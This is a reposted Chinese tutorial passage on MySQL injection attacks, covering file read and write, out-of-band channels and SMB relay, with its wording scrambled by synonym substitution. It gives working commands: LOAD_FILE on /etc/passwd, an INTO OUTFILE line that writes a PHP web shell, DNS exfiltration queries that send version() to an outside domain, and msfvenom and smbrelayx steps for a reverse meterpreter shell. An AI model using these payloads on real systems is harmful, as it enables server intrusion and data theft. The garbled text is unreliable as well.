作家
登录

MySQL注入攻击与防御

作者: 来源: 2017-05-08 16:02:58 阅读 我要评论

七、文件操作

1. 文件操作权限

如不雅secure_file_priv变量为空那么直接可以应用函数,如不雅为null是不克不及应用

但在mysql的5.5.53之前的版本是默认为空,之后的版本为null,所有是将这个功能禁掉落了

secure_file_priv变量

也可应用如下语句萌芽

2. 读文件

读文件函数LOAD_FILE()

Examples:

  1. SELECT LOAD_FILE('/etc/passwd'); 
  2. SELECT LOAD_FILE(0x2F6574632F706173737764); 

留意点:

  • LOAD_FILE的默认目次@@datadir
  • 文件必须是当前用户可读
  • 读文件最大年夜的为1047552个byte, @@max_allowed_packet可以查看文件攫取最大年夜值

3. 写文件

INTO OUTFILE/DUMPFILE

经典写文件例子:

  1. SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php'; 

这两个函数都可以写文件,然则有很大年夜的差别

  • INTO OUTFILE函数写文件时会在每一行的停止主动加上换行符
  • INTO DUMPFILE函数在写文件会保持文件获得原生内容,这种方法对于二进制文件是最好的选择
  • 当我们在UDF提权的场景是须要上传二进制文件等等用OUTFILE函数是不克不及成功的

留意点:

  • INTO OUTFILE不会覆盖文件
  • INTO OUTFILE必须是萌芽语句的最后一句
  • 路径名是不克不及编码的,必须应用单引号

八、带外通道

关于带外通道的注入前段时光国外的大年夜佬已经总结过了,我根本复现了一下,博客有文┞仿,这里简单提一下

带外通道进击主如果应用其他协定或者渠道大年夜办事器提取数据. 它可能是HTTP(S)请求,DNS解析办事,SMB办事,Mail办事等.

2. 前提限制

起首不消多说,这些函数是须要绝对路径的

如不雅secure_file_priv变量为空那么直接可以应用函数,如不雅为null是不克不及应用

但在mysql的5.5.53之前的版本是默认为空,之后的版本为null,所有是将这个功能禁掉落了

3. DNS注入

  1. select load_file(concat('\\\\',version(),'.rootclay.club\\clay.txt')); 
  2. select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874)); 

膳绫擎的语句履行的结不雅我们可以经由过程wireshark抓包看一下,过滤一下DNS协定即可清楚看到数据出去的样子,如下图

 DNS注入

进行DNS注入须要域名解析,本身有的话最好,然则没有的同伙也没事,这里推荐一个网站CEYE可以查看数据

4. SMB Relay 注入进击

(1) What is SMB relay

这里简单的描述一下SMB relay这个过程

假设有主机B与A

  • A向B提议连接请求
  • B向A发送挑衅(一组随机数据,8字节)
  • A用源自明文口令的DESKEY对挑衅进行标准DES加密获得响应,并发往B
  • B大年夜SAM中获取A的LM Hash、NTLM Hash,计算出DESKEY,并对前面发往A的挑衅进行标准DES加密
  • 如不雅(4)上钩算结不雅与A送过来的响应匹配,A被许可拜访B

(2) 进击流程

SMB relay进击窃取NTML与shell

关于SMB relay进击窃取NTML与shell请看这篇文┞仿SMB Relay Demystified and NTLMv2 Pwnage with Python

整顿了一下实际操作的步调如下:

起首生成一个反向shell:

  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=进击机ip LPORT=进击机监听端口 -f exe > reverse_shell.exe 
  1. smbrelayx.py -h 被进击者ip -e 反向shell文件地位  

在MySQL中,存在一个称为secure_file_priv的全局体系变量。 该变量用于限制数据的导入和导出操作,例如SELECT … INTO OUTFILE语句和LOAD_FILE()

其次,应用模块multi/handler。侦听进击机ip,进击机监听端口

最后,在MySQL Server上运行如下的代码,则会产生shell。相当于拜访进击机的smb办事,但实际上是窃取了mysql_server的身份


  推荐阅读

  如何使用vCSA6.5监控CPU、内存和网络

如不雅体系已经连接到互联网,那么进入“Update”标签页,选择“Installed Updates”,之后“Install All Updates”。 在vSphere 6.5中,VMware改换了 vCe>>>详细阅读


本文标题:MySQL注入攻击与防御

地址:http://www.17bianji.com/lsqh/35071.html

关键词: 探索发现

乐购科技部分新闻及文章转载自互联网,供读者交流和学习,若有涉及作者版权等问题请及时与我们联系,以便更正、删除或按规定办理。感谢所有提供资讯的网站,欢迎各类媒体与乐购科技进行文章共享合作。

网友点评
自媒体专栏

评论

热度

精彩导读
栏目ID=71的表不存在(操作类型=0)